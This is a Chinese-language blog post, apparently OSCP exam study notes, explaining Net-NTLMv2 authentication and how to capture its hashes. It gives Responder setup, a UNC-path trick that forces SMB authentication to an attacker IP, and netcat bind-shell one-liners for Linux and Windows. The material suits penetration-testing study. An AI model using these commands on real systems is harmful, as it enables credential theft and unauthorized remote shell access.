❿⁄₁₂ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击实践 ➱ 获取并破解Net-NTLMv2哈希(上)

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀​​​

​​​​

▶ 信息收集

▶ 漏洞检测
初始立足点

▶ 权限提升

横向移动 ➢ 密码攻击 ➢ 获取并破解Net-NTLMv2哈希(上)🔥🔥🔥

▶ 报告/分析

▶ 教训/修复

目录

1.密码破解

[1.1 破解Windows哈希实践](#1.1 破解Windows哈希实践)

[1.1.1 Net-NTLMv2 协议概述](#1.1.1 Net-NTLMv2 协议概述)

[1.1.1.1 身份验证流程(以访问 SMB 共享为例)](#1.1.1.1 身份验证流程(以访问 SMB 共享为例))

[1.1.1.2 Net-NTLMv2协议潜在弱点](#1.1.1.2 Net-NTLMv2协议潜在弱点)

[1.1.2 Net-NTLMv2哈希捕获思路](#1.1.2 Net-NTLMv2哈希捕获思路)

[1.1.2.1 核心攻击逻辑](#1.1.2.1 核心攻击逻辑)

[1.1.2.2 两种攻击场景与触发方式](#1.1.2.2 两种攻击场景与触发方式)

1.场景一:已获得代码执行权限

2.场景二:无代码执行权限

[1.1.3 捕获Net-NTLMv2哈希实践](#1.1.3 捕获Net-NTLMv2哈希实践)

[1.1.3.1 使用Responder模拟 SMB 服务器(在kali上)](#1.1.3.1 使用Responder模拟 SMB 服务器(在kali上))

1.环境准备与确认

2.启动Responder监听

3.等待并捕获哈希

4.预期效果与输出

[1.1.3.2 在远程目标主机上执行命令:绑定Shell(正向shell)](#1.1.3.2 在远程目标主机上执行命令:绑定Shell(正向shell))

1.工作原理

2.不同系统的实现方式

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.密码破解

1.1 破解Windows哈希实践

核心攻击场景: 本文介绍第三种:获取并破解Net-NTLMv2哈希

攻击类型 目标哈希 手法简介
获取并破解NTLM哈希 🗝️ NTLM哈希 从内存或SAM数据库中提取哈希,并用工具(如Hashcat)破解
传递NTLM哈希 🗝️ NTLM哈希 直接使用哈希进行身份验证,绕过密码需求
获取并破解Net-NTLMv2哈希 🔐 Net-NTLMv2哈希 通过中间人或欺骗获取挑战-响应包,离线破解
传递Net-NTLMv2哈希 🔐 Net-NTLMv2哈希 在支持的环境下复用Net-NTLMv2响应进行身份验证

1.1.1 Net-NTLMv2 协议概述

Net-NTLMv2(常称 NTLMv2)是 Windows 网络中 用于客户端与服务器之间身份验证的协议。在某些渗透测试场景中,当仅获得非特权用户权限,而无法使用Mimikatz等工具直接提取密码或 NTLM 哈希时,可利用该协议的特性进行凭证捕获与破解。

**⚠️ 注:**行业常用"Net-NTLMv2"指代 NTLMv2,此处沿用该名称以避免混淆。


1.1.1.1 身份验证流程(以访问 SMB 共享为例)

在本例中,通过Net-NTLMv2 从Windows 11客户端访问Windows 2022服务器上的SMB共享。整个过程可视为一次**"挑战-响应"**对话:

步骤 方向 说明
1️⃣ 客户端 → 服务器 发送连接请求,说明要访问的 SMB 共享信息
2️⃣ 服务器 → 客户端 返回一个随机挑战(Challenge)
3️⃣ 客户端 → 服务器 使用自身的 NTLM 哈希 加密挑战数据,生成挑战响应(Challenge Response)并发送
4️⃣ 服务器 验证响应是否正确,决定是否授权访问

**⚠️ 注:**虽然Net-NTLMv2协议,不如Kerberos协议安全。但大多数Windows环境仍然依赖于旧协议,特别是作为支持可能不支持Kerberos的旧设备的一种方式。


1.1.1.2 Net-NTLMv2协议潜在弱点

Net-NTLMv2协议广泛存在于许多 Windows 环境中,尤其为兼容旧设备而保留,因此成为攻击者常利用的突破口。

潜在弱点:

  • 挑战响应机制:响应中携带使用用户哈希加密的数据,攻击者可通过中间人、欺骗或监听等方式截获该响应。

  • 哈希可离线破解:捕获的 Net-NTLMv2 哈希可导出,并借助工具(如 Hashcat)进行离线暴力破解或字典攻击。

  • 协议陈旧性:相比 Kerberos,Net-NTLMv2 安全性较弱,但仍被大量系统支持。

攻击思路:

诱使 目标系统向攻击者控制的服务发起 Net-NTLMv2 身份验证 ,从而捕获哈希,进而尝试破解或进行中间人利用。


1.1.2 Net-NTLMv2哈希捕获思路

1.1.2.1 核心攻击逻辑

使用 Responder 工具搭建恶意 SMB 服务器诱使目标系统主动连接并进行身份验证,从而截获其 Net-NTLMv2 哈希。

关键工具:Responder

  • 主要功能 :内置可伪造的 SMB 服务器,专门用于处理并截获身份验证过程中的 Net-NTLMv2 哈希

  • 辅助功能:还支持 LLMNR/NBT-NS/MDNS 毒化等多种协议,以辅助或扩展攻击面。


1.1.2.2 两种攻击场景与触发方式

攻击者在本地kali,使用Responder工具先配置一个SMB服务器。

1.场景一:已获得代码执行权限

如果攻击者能够在远程目标系统上获得了代码执行权限,通过命令的执行让远程目标系统(作为SMB客户端)连接到自己控制的SMB服务器。然后,强制远程目标系统进行身份验证,从而来截获系统的凭证信息。

攻击路径最直接。在已控制的系统上执行命令,强制其向攻击者的服务器发起 SMB 连接。

典型命令示例

bash 复制代码
# 让目标尝试访问攻击者IP上的共享,在powershell环境
> ls \\192.168.119.2\share

💡 效果 :执行后,Windows 会自动尝试使用 Net-NTLMv2 协议向 192.168.119.2 认证,哈希随即被监听该地址的 Responder 捕获。

2.场景二:无代码执行权限

如果攻击者在远程目标系统上未获得了代码执行权限 。那么,利用应用层的功能间接触发 。寻找任何可能自动发起 SMB 连接的功能点。

典型利用示例

  • Web 文件上传表单 中,输入攻击者控制的 SMB 路径:

    bash 复制代码
    \\192.168.119.2\share\nonexistent.txt

💡 原理:即使文件(nonexistent.txt)不存在,应用程序在尝试访问该路径时,系统也会发起身份验证,Responder 便可截获哈希。
⚠️ 核心 :攻击的关键在于如何让目标系统主动向你的IP地址发起身份验证。只要触发认证,无论连接是否成功,宝贵的哈希值都已被截获。


1.1.3 捕获Net-NTLMv2哈希实践

1.1.3.1 使用Responder模拟 SMB 服务器(在kali上)

📋 操作流程概览:

1.环境准备与确认

在kali上,最终设置为SMB服务器。

bash 复制代码
# 确认Responder是否已安装(Kali通常默认安装)
dpkg -l | grep responder

# 若未安装,则安装
sudo apt update && sudo apt install responder -y

# 查看可用网络接口
ip a
# 选择与目标网络相通的接口,此处使用 tap0
2.启动Responder监听
bash 复制代码
# 启动Responder,模拟SMB服务器
sudo responder -I tap0 -r
参数 说明 必要性
-I tap0 指定监听网络接口为 tap0 ✅ 必需
-r 启用 SMB响应模式,捕获SMB请求 可选但推荐
3.等待并捕获哈希
  • 目标:FILES01 (192.168.50.211)

  • 机制:当目标系统尝试连接SMB服务时,Responder会:

    • 伪装成合法的SMB服务器

    • 响应目标的认证请求

    • 截获并记录 Net-NTLMv2 哈希

⚠️ 关键注意事项:

  • 接口选择:必须选择与目标网络相通的正确接口

  • 端口占用:确保本地 445 端口未被其他 SMB 服务占用

  • 网络可达:目标系统需能访问到攻击者 IP 地址

  • 权限要求 :需使用 sudo 运行以绑定特权端口

4.预期效果与输出

Responder 启动后,控制台将显示:

  • 监听状态与活跃服务

  • 实时捕获的认证尝试

  • 等待截获的 Net-NTLMv2 哈希(格式类似 USERNAME::DOMAIN:challenge:response...

🎯 核心目标:通过伪装SMB服务器,诱使目标系统在认证过程中泄露 Net-NTLMv2 哈希,为后续离线破解创造条件。


1.1.3.2 在远程目标主机上执行命令:绑定Shell(正向shell)

这里是场景一:攻击者能够在远程目标系统上获得了代码执行权限,通过命令的执行让远程目标系统(作为SMB客户端)连接到自己控制的SMB服务器。

绑定 Shell: 是一种攻击者通过远程命令执行,**将目标主机系统的命令行界面绑定到特定端口的攻击技术。**一旦成功,攻击者可通过网络直接连接到该端口,获得目标系统的交互式 Shell 访问权限。

1.工作原理
  • 权限获取 :攻击者首先获得目标系统上的代码执行权限,这个是一个前提

  • 端口监听:在目标系统上运行绑定 Shell 代码,打开特定端口并监听连接

  • Shell绑定:将监听到的客户端连接与该系统的 Shell 程序关联

  • 远程控制:攻击者连接到该端口,获得交互式命令行控制权

2.不同系统的实现方式

①Linux 系统

bash 复制代码
# 标准绑定Shell命令
nc -l -p 4444 -e /bin/bash
参数 功能说明
-l 监听模式,等待连接
-p 4444 监听本地的 4444端口(可自定义)
-e /bin/bash 连接建立后执行 bash shell

②Windows 系统

bash 复制代码
# 使用netcat的绑定Shell
nc -l -p 4444 -e cmd.exe
参数 功能说明
-e cmd.exe 连接建立后执行 Windows命令行

⚠️ 注意:如果目标系统未安装 netcat,可使用 PowerShell 或其他方法实现类似功能。

📊 技术特点对比:

特性 绑定 Shell(正向shell) 反向 Shell
监听方 目标系统 攻击者系统
连接方向 攻击者 → 目标 目标 → 攻击者
防火墙影响 可能被入站规则阻止 通常绕过出站限制
实施复杂度 简单直接 需要攻击者具备公网IP

未完,见下一篇文章。


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
内心如初5 小时前
02_等保系列之标准体系和主要标准
网络安全·等保测评·等保测评从0-1·等保测评笔记
heze095 小时前
sqli-labs-Less-14自动化注入方法
mysql·网络安全·自动化
Bruce_Liuxiaowei6 小时前
如何彻底禁用 Windows Defender(附安全模式终极方案)
windows·安全·网络安全·内网渗透
海星船长丶7 小时前
Phar漏洞,PHP_filter,文件包含漏洞,include结合phar
网络安全·php·信息与通信
heze097 小时前
sqli-labs-Less-15自动化注入方法
mysql·网络安全·自动化
芥子沫7 小时前
iStoreOS_24.10.4 兼容性列表及镜像下载地址&更新日志
网络安全·软路由·istoreos
枫叶丹48 小时前
【Qt开发】Qt系统(七)-> Qt网络安全
c语言·开发语言·c++·qt·网络安全
Ancelin安心18 小时前
kali-dirsearch的使用
linux·运维·服务器·python·计算机网络·web安全·网络安全
HarmonLTS1 天前
Python Socket网络通信详解
服务器·python·网络安全